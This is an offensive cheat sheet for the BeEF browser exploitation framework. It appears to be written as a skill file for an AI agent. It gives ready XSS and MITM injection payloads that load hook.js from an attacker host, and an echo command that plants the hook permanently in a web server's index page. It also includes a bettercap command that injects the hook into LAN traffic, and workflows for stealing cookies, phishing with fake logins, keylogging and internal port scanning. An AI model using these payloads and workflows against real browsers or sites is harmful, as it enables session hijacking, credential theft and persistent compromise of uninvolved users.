aeondave/beef

BeEF (Browser Exploitation Framework)

Hook browsers via XSS and execute client-side attacks from a web console.

Quick Start

# Kali
beef-xss

# Or from source
git clone https://github.com/beefproject/beef
cd beef && ./install && ./beef

# Panel: http://127.0.0.1:3000/ui/panel
# Default creds: beef/beef
# Hook URL: http://YOUR_IP:3000/hook.js

Inject Hook

<!-- Inject in XSS payload or MITM response -->
<script src="http://YOUR_IP:3000/hook.js"></script>

Key Module Categories

| Category | Examples | |----------|---------| | Network | Port scanner, ping sweep, SSRF | | Browser | Fingerprint, clipboard steal, camera access | | Social Engineering | Fake login, fake update, clickjacking | | Exploits | Browser CVEs, Java exploits | | Persistence | Persistent hook via service worker | | Misc | Keylogger, screenshot, geolocation |

Common Workflows

Steal cookies via hooked browser:

Modules > Browser > Hooked Domain > Get Cookie

Phishing via fake login overlay:

Modules > Social Engineering > Pretty Theft

Port scan internal network from browser:

Modules > Network > Port Scanner
# Set targets: 192.168.1.1-254

Hook Persistence

// Service Worker persistence (browser-based)
// Modules > Persistence > Create Foreground iFrame
// Modules > Persistence > Man-In-The-Browser

# Embed in page permanently (if you have file write)
echo '<script src="http://YOUR_IP:3000/hook.js"></script>' >> /var/www/html/index.html

Configuration (config.yaml)

beef:
  credentials:
    user: "beef"
    passwd: "changeme"      # Change default
  http:
    host: "0.0.0.0"
    port: "3000"
  https:
    enable: true
    port: "3001"

Combine with Other Attacks

# Inject via Responder + MITM (if on LAN)
# Inject via stored XSS
# Inject via MITM with bettercap
bettercap -eval "set http.proxy.injectjs http://YOUR_IP:3000/hook.js; http.proxy on"

Resources

| File | When to load | |------|--------------| | references/modules.md | Full module list by category, hook persistence techniques |